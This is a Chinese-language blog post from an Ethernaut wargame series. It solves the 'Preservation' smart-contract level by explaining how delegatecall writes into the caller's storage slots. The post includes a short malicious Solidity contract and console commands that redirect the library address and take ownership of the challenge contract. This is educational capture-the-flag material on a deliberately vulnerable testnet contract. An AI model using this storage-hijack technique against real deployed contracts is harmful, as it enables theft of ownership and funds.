iT邦幫忙

2022 iThome 鐵人賽

DAY 13
0

(Preservation) 倒楣鬼程式碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

通關條件

玩家必須取得擁有者權限(Owner == player)

先備知識 - delegatecall

delegatecall 的基本觀念在之前的關卡已經有提到過了,如果不熟悉的讀者我強烈建議要先讀完 Day 9 的文章喔,相信讀完後會對 delegatecall 有初步的認識,而這次就採取另外一個方式來讓大家了解 delegatecall 的用法囉

await contract.timeZone1Library()
// '0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5'

當使用者執行上述指令後,能夠查看於合約內變數 timeZone1Library 的內容

await contract.setFirstTime(1)

當使用者執行上述指令後,能夠操作合約內函數 setFirstTime 並且將 1 作為參數傳入函數,至此都是相當簡單的操作,不過若接著查看 timeZone1Library 後,會發現出現了些微的變化。

await contract.timeZone1Library()
// '0x0000000000000000000000000000000000000001'

會發現 timeZone1Library 變數內的數值盡然變成 1 了,而這也和我們剛剛執行函數時傳入的參數一致,那這是為甚麼呢 ? 別急我們再接著執行

await contract.setSecondTime(5555)

接著查看 timeZone1Library

await contract.timeZone1Library()
// '0x00000000000000000000000000000000000015B3'
await contract.timeZone2Library()
// '0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1'

這也和剛剛傳入的參數 5555 一致呢,可是為甚麼 timeZone2Library 卻沒有發生改變 ?,究竟是為何呢,看看下圖吧,

delegatecall 執行後會把目標合約的變數資料儲存回原合約,並且儲存方式將依照 Slot 的排序做儲存。

那麼相信大家就能夠了解為何執行 setFirstTimesetSecondTime 後只有 timeZone1Library 發生改變,而 timeZone2Library 卻和原本的資料一致。

程式碼

function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
function setTime(uint _time) public {
    storedTime = _time;
}

由上述的先備知識能了解,我們能夠使用 setFirstTime 改變原合約的內容,並且改變的內容並非一無用之 slot 而是一個能夠呼叫函數的 合約地址,那麼相信通關的思路已經很明確了,首先需要更動 timeZone1Library 變數內值,能夠依靠 setFirstTimePreservation 合約內即將呼叫的合約改為我們另外部署的惡意合約,爾後,我們將再次呼叫 setFirstTime,而這次 Preservation 將執行特別部署的惡意合約的 setTime 函數,我們將有機會在惡意合約內將原合約上的所有 slot 更動為惡意資料,其中當然包含 Owner

通關

首先請至測試網上部署另外撰寫之惡意合約

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract malicious_contract {
    uint256 slot0;
    uint256 slot1;
    address slot2;

    function setTime(uint _time) public {
        slot0 = _time;
        slot1 = _time;
        slot2 = msg.sender;
    }
}

並且取得該惡意合約之合約地址,將其做為參數執行 setFirstTime (如果剛剛在先備知識有測試過 delegatecall 的讀者可以選擇重新部署一個關卡合約,或是改為執行 setSecondTime 可以達到一樣的效果)

await contract.setSecondTime( Your contract address )

// await contract.setSecondTime('0x57a0922B98FF7b8a71F78563591336D670C47275')

於是 timeZone1Library 確實被修改為另外部署之惡意合約地址,接著就是執行 setFirstTime 來完成漂亮的 hack 吧

await contract.setFirstTime(1)
await contract.owner() == player
// true

(◔/‿\◔) (◔/‿\◔) (◔/‿\◔) (◔/‿\◔)


上一篇
Day 19 - Naught coin
下一篇
Day 22 - Recovery
系列文
智能合約漏洞演練 - Ethernaut18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言